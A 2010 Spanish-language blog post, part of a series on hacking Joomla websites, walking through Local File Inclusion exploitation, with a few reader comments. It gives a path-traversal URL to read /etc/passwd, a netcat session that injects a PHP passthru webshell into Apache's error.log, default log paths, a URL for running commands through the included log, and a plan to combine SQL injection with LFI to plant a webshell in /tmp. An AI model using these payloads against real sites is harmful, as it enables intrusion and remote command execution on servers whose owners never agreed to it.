lunes, 22 de noviembre de 2010

Juaqueando webs con Joomla [Parte V]

Quedaba pendiente el método usual de explotación de un LFI.

Local File Inclusion (LFI)

Un LFI, de forma muy particular, es una vulnerabilidad que permite indicarle al interprete de PHP que incluya durante la ejecución de un script algún fichero local que puede o no tener código PHP. Al decir local me refiero a que el fichero está en el mismo servidor. Si el fichero tuviera código PHP, se ejecutará y se mostrara la respuesta; si no, simplemente se mostrará el contenido del fichero.

La explotacion de un LFI es mediante una variable vulnerable con la que podemos indicar el fichero que se va a incluir. Por ejemplo en el siguiente código:

index.php
<?php
//obtiene el nombre de la pagina a mostrar
$page = $_GET['page'];
//forma el path de la pagina y la incluye
require("pages/" . $page . ".htm");
?>

la variable vulnerable es "page". Una llamada normal sería:

http://site/index.php?page=news

que quizá muestre la pagina de noticias del sitio. Sin embargo también podemos hacer una llamada como esta:

http://site/index.php?page=../../../../../etc/passwd%00

Con los ../ consecutivos saltamos directorios hacia atrás hasta llegar a la raíz / y desde ahí accedemos al fichero /etc/passwd. La secuencia %00 es el caracter de fin de cadena ('\0') y sirve para anular la extensión que se concatena al final (".htm")

Entonces la explotación de un LFI, para conseguir una shell, consiste básicamente en inyectar código PHP en algún fichero del servidor para luego cargarlo usando la variable vulnerable a fin de que el código se ejecute.

Aunque existe muchas formas de inyectar código PHP en diferentes ficheros del sistema, aquí solo explicaré como hacerlo en los logs de Apache.

Inyectando código en los logs de Apache

Apache guarda las incidencias de las conexiones que recibe en dos ficheros: access.log y error.log. Los registros de las conexiones exitosas se guardan en access.log y de las que producen algún error se guardan en error.log. En los logs normalmente se registra el recurso solicitado, el User-Agent (navegador y SO que usamos), el Referer (URL de referencia), la dirección IP y la fecha y hora. Algunos de estos campos podemos modificarlos intencionalmente para que Apache escriba en los logs el código que queremos inyectar.

Para hacerlo generaremos un error con una petición malformada que incluya el código PHP. Apache registrara esta solicitud en error.log.

Usaremos el netcat:

$ nc -v localhost 80
Connection to localhost 80 port [tcp/www] succeeded!
GET <?php passthru($_GET['cmd']); ?> HTTP/1.1\r\n
Host: localhost\r\n
\r\n

La secuencia \r\n no se escribe, significa que debes presionar enter. Obtendremos una respuesta como esta:

HTTP/1.1 400 Bad Request
Date: Tue, 23 Nov 2010 00:29:39 GMT
Server: Apache/2.2.14 (Unix) PHP/5.3.1
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Expires: Tue, 23 Nov 2010 00:29:39 GMT

El codigo de error 400 nos dice que la petición esta mal hecha y era justo lo que buscábamos. Si ahora revisamos el archivo error.log veremos algo así:

...
[Mon Nov 22 19:29:49 2010] [error] [client 127.0.0.1] Invalid URI in request GET <?php passthru($_GET['cmd']); ?> HTTP/1.1
...

Bien ya inyectamos la webshell, ahora debemos cargar el fichero error.log usando la variable vulnerable. Se nos presentan 2 problemas:

No conocemos el path del error.log. Sin embargo podemos intentar con los path por defecto:

/var/log/httpd/error_log
/var/log/apache2/error.log
/var/log/httpd-error.log

Es posible que no tengamos permisos para leer el error.log. Bueno si no tenemos permisos, ni modo. A buscar otra forma de inyectar la webshell.

Pero si todo ha ido bien, entonces ya podremos ejecutar comandos así:

http://site/index.php?page=../../../../../var/log/apache2/error.log%00&cmd=[COMANDO]

Ahora una combinación fatal LFI + SQLi

Ya vimos como inyectar una webshell usando SQLi. Sin embargo se nos presentaban 2 problemas: No conocíamos el path del directorio publico y probablemente no tendríamos permisos para escribir en él. Con el LFI los problemas son similares: No conocemos el path del error.log y quizá no tengamos permisos para leer ese fichero.

Pero si encontramos un website con ambas vulnerabilidades podemos usar el SQLi para inyectar la webshell en algún directorio donde tengamos permisos de escritura como por ejemplo "/tmp" y luego usar el LFI cargar la webshell };)

Saludos.

5 comentarios:

  1. Gracias, se hace lo que se puede :)

    ResponderEliminar
  2. Hola Alguien, buenísimo el post!
    cómo podría contactar contigo por email?

    saludos :)

    ResponderEliminar
  3. Hola Alicia, solo deja tu email y yo te escribo.

    Nota: No "recupero" correos, ni hackeo webs y mucho menos arreglo impresoras xD

    Saludos.

    ResponderEliminar
  4. Hola Brother, soy Peruano... te dejo mi MSN, para contactarnos :) renatoklisman@hotmail.com !

    ResponderEliminar